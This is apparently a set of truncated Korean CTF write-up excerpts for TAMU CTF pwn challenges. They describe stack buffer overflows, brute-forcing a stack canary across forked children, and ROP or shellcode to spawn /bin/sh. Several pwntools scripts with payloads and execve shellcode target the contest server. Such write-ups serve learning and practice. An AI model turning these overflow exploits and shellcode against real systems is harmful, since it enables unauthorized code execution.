static linking + strip 이어서 분석이 힘들었습니다. ida로 string 검색해서 문자열 따라가면서 취약한 함수를 찾았음 처음 문자 하나를 받고, 그 크기만큼 입력받는데, 입력받는 문자열의 크기가 0x2c여서 간단하게 bof가 나는데 카나리가 있습니다. 그리고 fork로 자식프로세스를 생성 한 후 거기서 bof가 나는 함수를 실행하기 때문에 canary는 매번 같습니다. 근데 fork를 800번 하므로 1byte씩 브포하면 릭 할 수 있습니다. 그렇게 canary 릭 하고, eip 조작이 가능해지면 syscall 가젯 ( pop eax, pop edx,ecx,eax, int 0x80)을 이용하여 read로 bss에 /bin/sh 문자열을 받고, execve를 콜 해서 그 부분을 실행하면..
main 에선 reduced_shell 이라는 함수를 실행합니다 reduced_shell 함수인데, 그냥 gets로 s에다 입력받고, 입력 받은 값에 따라 ls,pwd등 명령어를 실행하는데, gets에서 overflow가 납니다. 그러면 system 함수도 있고 하니까 rop 하려고 했는데 이렇게 그냥 /bin/sh 문자열을 줘버립니다. 그러면 그냥 system 함수 인자로 저 /bin/sh 문자열 주소를 넘겨 주면 되겠네요 12345678910111213141516171819from pwn import * s = remote("pwn.ctf.tamu.edu",4324)e = ELF('./pwn4') system_addr = e.plt['system']binsh_addr = 0x804A038 payloa..
NX 안 걸려있네욥,, main 에서 echo 실행하고, echo에서 pwn2번 문제랑 비슷하게 s에 입력받습니다. 근데 이번엔 s의 주소를 출력해주네요? 그럼 shellcode+dummy로 ret까지 덮고 ret을 s의 주소로 덮으면 될 것 같네요! 123456789101112131415161718192021from pwn import * s = remote("pwn.ctf.tamu.edu",4323) SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" s.recvuntil("number ") s_addr = int(s.recv(10),0) print..
main에서 echo함수 불러오고 gets 로 받으니깐 overflow 나겠네요 그리고 여기에도 마찬가지로 print_flag 함수가 있습니다! 그렇다면 overflow 시킨 다음 print_flag를 실행하게 하면 되겠네요 print_flag 주소를 구하고 익스 하겠습니다 이렇게도 풀 수 있고 이렇게 익스 코드 짜서 풀 수도 있네요! 12345678910111213from pwn import * s = remote("pwn.ctf.tamu.edu",4322) payload=""payload+="\x90"*243payload+=p32(0x804854b) #print_flag()'s addr sleep(0.5) s.sendline(payload) print s.recv()cs
되게 오래 전에 했던 tamu ctf인데 대회 당시에는 1,2,4번 밖에 못풀어서 다시 풀고 라업 씁니다,, 문자열 s를 gets로 받는데 v5가 0xF007BA11 이면 print_flag() 함수를 출력해주기 때문에 overflow 시키고 v5를 0xF007BA11로 바꿔주면 돼요 대회 당시엔 이렇게 풀었습니다만,, 심심해서 익스코드도 짜봤습니다,, 뭐 딱히 할 것도 없었지만 12345678910111213from pwn import * s = remote("pwn.ctf.tamu.edu",4321) payload=""payload+="\x90"*23payload+=p32(0xF007BA11) sleep(0.5) s.sendline(payload) print s.recv()cs
babypwn 라이트업 입니다.